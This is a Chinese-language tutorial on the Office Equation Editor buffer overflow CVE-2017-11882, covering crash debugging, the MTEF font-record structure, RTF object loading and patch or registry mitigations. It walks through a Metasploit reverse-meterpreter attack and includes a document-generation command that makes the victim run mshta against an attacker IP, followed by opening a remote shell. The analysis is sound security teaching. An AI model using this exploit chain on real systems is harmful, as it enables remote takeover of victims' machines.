温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

Office系列漏洞CVE-2017-11882是什么意思

发布时间:2021-12-22 20:49:21 来源:亿速云 阅读:648 作者:柒染 栏目:网络管理

这篇文章将为大家详细讲解有关Office系列漏洞CVE-2017-11882是什么意思,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。

一、漏洞简介

CVE-2017-11882属于缓冲区溢出类型漏洞,产生漏洞原因于EQNEDT32.EXE(微软office自带公式编辑器)进程在读入包含MathType的ole数据时,在拷贝公式字体名称(Font Name数据)时没有对名称长度进行校验,导致缓冲区溢出。通过覆盖函数的返回地址,可执行任意代码。

 2017年11月14日,微软发布了11月份的安全补丁更新,影响流行的所有Office版本。

漏洞基本信息  
漏洞IDCVE-2017-11882
漏洞名称Microsoft Office数学公式编辑器内存损坏漏洞
漏洞类型远程代码执行
威胁类型栈溢出
影响版本Microsoft Office  2000/2003/2007sp3/2010sp2/2013sp1/2016

      二、漏洞测试

系统环境Win7 32
Microsoft Office2013 sp1
生成测试漏洞文件https://github.com/Ridter/CVE-2017-11882

 使用Command_CVE-2017-11882.py脚本生成漏洞文件。

Office系列漏洞CVE-2017-11882是什么意思

有两种方式,我们先测试第一种弹出计算器。

Office系列漏洞CVE-2017-11882是什么意思

      三、漏洞定位

由于缓冲区溢出函数处于EQNEDT32进程中,所以对它进行调试分析,打开漏洞文件会弹出计算器,一般采用Winexec函数调用,可对该函数进行下断,然后进行逆推找出溢出点。

 首先把eqnedt32.exe拖进od运行(或打开后进行附加),然后定位WinExec进行下断,打开漏洞文件test.doc,此时断点会停在WinExec函数上。 

Office系列漏洞CVE-2017-11882是什么意思

由于漏洞利用采用函数覆盖返回地址,那我们可以从栈中找出漏洞函数的上层或上上层函数继续进行分析。

Office系列漏洞CVE-2017-11882是什么意思

在4115A7函数上下好断点,重新打开漏洞文件,断下后进行步过(F8)分析,在步过第一个call后并没有返回,而是直接弹出了计算器,这就说明漏洞溢出点在这个call里面,也就是把栈中返回地址4115D8进行了覆盖,从而转向shellcode执行。

Office系列漏洞CVE-2017-11882是什么意思

上图是调用41160F,栈中保存的原始返回地址

Office系列漏洞CVE-2017-11882是什么意思

在copy字体名字的时候,由于没有校验名称长度,导致缓冲区溢出,从而过长的数据覆盖了该函数的返回地址4115D8。

Office系列漏洞CVE-2017-11882是什么意思

IDA分析可以看到[ebp+28]就是溢出缓冲区。

Office系列漏洞CVE-2017-11882是什么意思

[ebp+28]分配的空间是0x24,超过此长度就会产生溢出,从而覆盖返回地址。

在经过溢出点后,原始返回地址4115D8被覆盖成402114。

Office系列漏洞CVE-2017-11882是什么意思

这里覆盖后的地址是402114,Retn后回转到该地址处执行,

Office系列漏洞CVE-2017-11882是什么意思

Retn执行后会转向12F350处,存放的就是FONT[name]数据,也就是shellcode。

Office系列漏洞CVE-2017-11882是什么意思

Shellcode中callWinExec函数弹出calc.exe。

Office系列漏洞CVE-2017-11882是什么意思

成功弹出计算器。

 四、数据结构分析

 漏洞出现在模块EQNEDT32.EXE中,该模块以OLE技术(Object Linking and Embedding,对象链接与嵌入)将公式嵌入在Office文档内。当插入和编辑数学公式时,EQNEDT32.EXE并不会被作为Office进程(如Word等)的子进程创建,而是以单独的进程形式存在。这就意味着对于word、excel等Office进程的保护机制,无法阻止EQNEDT32.EXE这个进程被利用。漏洞存在于EQNEDT32.EXE处理Office OLE Equation对象中标记为字体名称记录的字节流中,如果Equation对象中存在标记为字体名称的超长字节流,则程序在处理该字符串的过程,会由于判断字符串长度而发生栈溢出漏洞。

 Equation Native数据流= EQNOLEFILEHDR + MTEFData,其中

MTEFData = MTEFheader + MTEF Byte Stream

EQNOLEFILEHDR头结构(共28字节)如下

 struct EQNOLEFILEHDR {

  WORD    cbHdr;      // 格式头长度,固定为0x1C。

  DWORD   version;    // 固定为0x00020000。

  WORD    cf;          // 该公式对象的剪贴板格式。

  DWORD   cbObject;  // MTEF数据的长度,不包括头部。

  DWORD   reserved1; // 未公开

  DWORD   reserved2; // 未公开

  DWORD   reserved3; // 未公开

  DWORD   reserved4; // 未公开

};

对应的数据如下图

 Office系列漏洞CVE-2017-11882是什么意思

MTEFheader

byte  description  value  
0MTEF version3
1generating platform0 for Macintosh, 1 for Windows
2generating product0 for MathType, 1 for Equation Editor
3product version3
4product subversion0

MTEFByte Stream

value  symbol  description  
0END  end of MTEF, pile, line, embellishment  list, or template
1LINE  line (slot) record
2CHAR  character record
3TMPL  template record
4PILE  pile (vertical stack of lines) record
5MATRIX  matrix record
6EMBELL  character embellishment (e.g. hat, prime)  record
7RULER  ruler (tab-stop location) record
8FONT  font name record
9SIZE  general size record
10FULL  full size record
11SUB  subscript size record
12SUB2  sub-subscript size record
13SYM  symbol size record
14SUBSYM  sub-symbol size record

参考:http://rtf2latex2e.sourceforge.net/MTEF3.html

 数据 8 对应的数据类型为FONT,记录及结构如下:

 struct stuFontRecord {

  BYTE bTag;             // 字体文件的tag位0x08

  BYTE bTypeFace;    // 字体风格

  BYTE bStyle;           // 字体样式

  BYTE bFontName[n] // 字体名称,以NULL为结束符

}; 

字段    说明  
Tag0×081字节,固定为0×08
tfacetypeface number1字节,Typeface编号
style1或者21字节,1表示斜体,2表示粗体
nameFont name (null-terminated)字体名字,以Null结尾

对应的数据如下图 

Office系列漏洞CVE-2017-11882是什么意思

 五、RTF结构分析

Office系列漏洞CVE-2017-11882是什么意思

其中,\objupdate控制字来保证OLE对象的自动更新和加载,从而触发漏洞代码执行。默认状态下Office文档中的OLE Object需要用户双击才能生效。将OLE Object的属性为自动更新,这样无需交互,点击打开文档后OLE Object对象会生效,从而执行恶意代码。 

对漏洞文件ole对象分析

Office系列漏洞CVE-2017-11882是什么意思

可以看到插入了数学公式ole对象

 查看ole对象的目录结构

Office系列漏洞CVE-2017-11882是什么意思

可以看到ole对象中包含了EquationNative流

Office系列漏洞CVE-2017-11882是什么意思

使用olebrowse工具查看Equation Native 流

 六、MSF利用

环境准备

目标机Win7以及具有该漏洞的office
攻击机Kali  linux
Msf组件https://github.com/0x09AL/CVE-2017-11882-metasploit

 首先下载组件

把cve_2017_11882.rbcopy到

/usr/share/Metasploit-framework/modules/exploits/windows/smb

Office系列漏洞CVE-2017-11882是什么意思再Copycve-2017-11882.rtf 到/usr/share/metasploit-framework/data/exploits

Office系列漏洞CVE-2017-11882是什么意思

启动metasploit

Office系列漏洞CVE-2017-11882是什么意思

使用search命令查找11882对应模块,用命令use exploit/windows/smb/cve_2017_11882

showoptions查看要设置的参数

Office系列漏洞CVE-2017-11882是什么意思

设置一个反弹式的meterpreter攻击载荷

设置本机ip以及URI路径

Office系列漏洞CVE-2017-11882是什么意思

使用命令exploit-j 返回结果会显示出与目标主机的哪个端口建立了连接

Office系列漏洞CVE-2017-11882是什么意思

生成目标机的漏洞文档,命令如下

PythonCommand109b_CVE-2017-11882.py -c “mshta http://192.168.106.132:8080/test”-o test.doc

这里的为攻击机的ip,端口设置8080以及URI设置test,生成后,在目标机打开该文档。

Office系列漏洞CVE-2017-11882是什么意思

如果成功,meterpreter会显示返回连接信息,如失败,可能是参数错误或者其它错误

 成功后,使用命令sessions-l 查看你控制的pc

Office系列漏洞CVE-2017-11882是什么意思

使用命令sessions-i 1 切换进入,输入shell,进入cmd,whoami,OVER。

 七、修复漏洞

 (1)下载https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882更新补丁进行修补

(2)开启Windows Update功能,定期对系统进行自动更新

 取消该模块的注册

 (1)按下Win+R组合键,打开cmd.exe

 (2)输入以下两条命令:

reg add“HKLM\SOFTWARE\Microsoft\Office\Common\COMCompatibility{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility Flags”/t REG_DWORD /d 0x400

 reg add“HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COMCompatibility{0002CE02-0000-0000-C000-000000000046}” /v “Compatibility Flags”/t REG_DWORD /d 0x400

关于Office系列漏洞CVE-2017-11882是什么意思就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI